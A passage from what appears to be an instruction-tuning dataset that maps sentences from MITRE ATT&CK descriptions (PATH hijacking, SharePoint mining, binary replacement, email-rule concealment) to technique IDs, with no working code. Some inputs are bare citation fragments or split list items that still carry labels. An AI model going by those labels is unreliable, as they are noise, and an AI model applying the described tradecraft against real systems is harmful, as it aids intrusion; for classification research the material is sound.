execution may reoccur over time. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "How the operating system locates libraries to be used by a program can also be intercepted.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: How the operating system locates libraries to be used by a program can also be intercepted. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries.", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing. ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`.", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation:", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ExpressVPN PATH env Windows 2021)", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ExpressVPN PATH env Windows 2021) ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also directly modify the $PATH variable specifying the directories to be searched.", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also directly modify the $PATH variable specifying the directories to be searched. ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can modify the `$PATH` variable to point to a directory they have write access.", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can modify the `$PATH` variable to point to a directory they have write access. ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary.", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On macOS, this can also be performed through modifying the $HOME variable.", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On macOS, this can also be performed through modifying the $HOME variable. ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation:", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)", "output": "T1574.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022) ### Response: T1574.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage information repositories to mine valuable information.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage information repositories to mine valuable information. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n*", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Policies, procedures, and standards\n* Physical / logical network diagrams\n*", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Policies, procedures, and standards\n* Physical / logical network diagrams\n* ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n*", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.", "output": "T1213", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server. ### Response: T1213."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage the SharePoint repository as a source to mine valuable information.", "output": "T1213.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage the SharePoint repository as a source to mine valuable information. ### Response: T1213.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems.", "output": "T1213.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. ### Response: T1213.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n*", "output": "T1213.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* ### Response: T1213.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Policies, procedures, and standards\n* Physical / logical network diagrams\n*", "output": "T1213.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Policies, procedures, and standards\n* Physical / logical network diagrams\n* ### Response: T1213.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n*", "output": "T1213.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* ### Response: T1213.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Source code snippets\n* Links to network shares and other internal resources", "output": "T1213.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Source code snippets\n* Links to network shares and other internal resources ### Response: T1213.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may directly access a volume to bypass file access controls and file system monitoring.", "output": "T1006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may directly access a volume to bypass file access controls and file system monitoring. ### Response: T1006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows allows programs to have direct access to logical volumes.", "output": "T1006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows allows programs to have direct access to logical volumes. ### Response: T1006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Programs with direct access may read and write files directly from the drive by analyzing file system data structures.", "output": "T1006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Programs with direct access may read and write files directly from the drive by analyzing file system data structures. ### Response: T1006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique may bypass Windows file access controls as well as file system monitoring tools.", "output": "T1006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique may bypass Windows file access controls as well as file system monitoring tools. ### Response: T1006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Hakobyan 2009)\n\nUtilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy)", "output": "T1006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Hakobyan 2009)\n\nUtilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) ### Response: T1006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl)", "output": "T1006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl) ### Response: T1006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions.", "output": "T1044", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Processes may automatically execute specific binaries as part of their functionality or to perform other actions. ### Response: T1044."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process.", "output": "T1044", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. ### Response: T1044."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.", "output": "T1044", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. ### Response: T1044."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level.", "output": "T1044", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. ### Response: T1044."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", "output": "T1044", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence. ### Response: T1044."}{"instruction": "List the MITRE techniques contained in the text.", "input": "### Services\n\nManipulation of Windows service binaries is one variation of this technique.", "output": "T1044", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ### Services\n\nManipulation of Windows service binaries is one variation of this technique. ### Response: T1044."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).", "output": "T1044", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). ### Response: T1044."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.", "output": "T1044", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable. ### Response: T1044."}{"instruction": "List the MITRE techniques contained in the text.", "input": "### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers.", "output": "T1044", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. ### Response: T1044."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads.", "output": "T1044", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. ### Response: T1044."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process.", "output": "T1044", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. ### Response: T1044."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).", "output": "T1044", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). ### Response: T1044."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code.", "output": "T1044", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. ### Response: T1044."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088).", "output": "T1044", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). ### Response: T1044."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several examples of this weakness in existing common installers have been reported to software vendors.", "output": "T1044", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several examples of this weakness in existing common installers have been reported to software vendors. ### Response: T1044."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)", "output": "T1044", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer) ### Response: T1044."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation:", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MalwareBytes ADS July 2015)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MalwareBytes ADS July 2015) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox.", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails.", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code>", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule) ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders.", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account. ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails.", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender.", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines.", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Cloud App Security)\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes.", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Cloud App Security)\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023)", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).", "output": "T1564.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications). ### Response: T1564.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content.", "output": "T1491", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. ### Response: 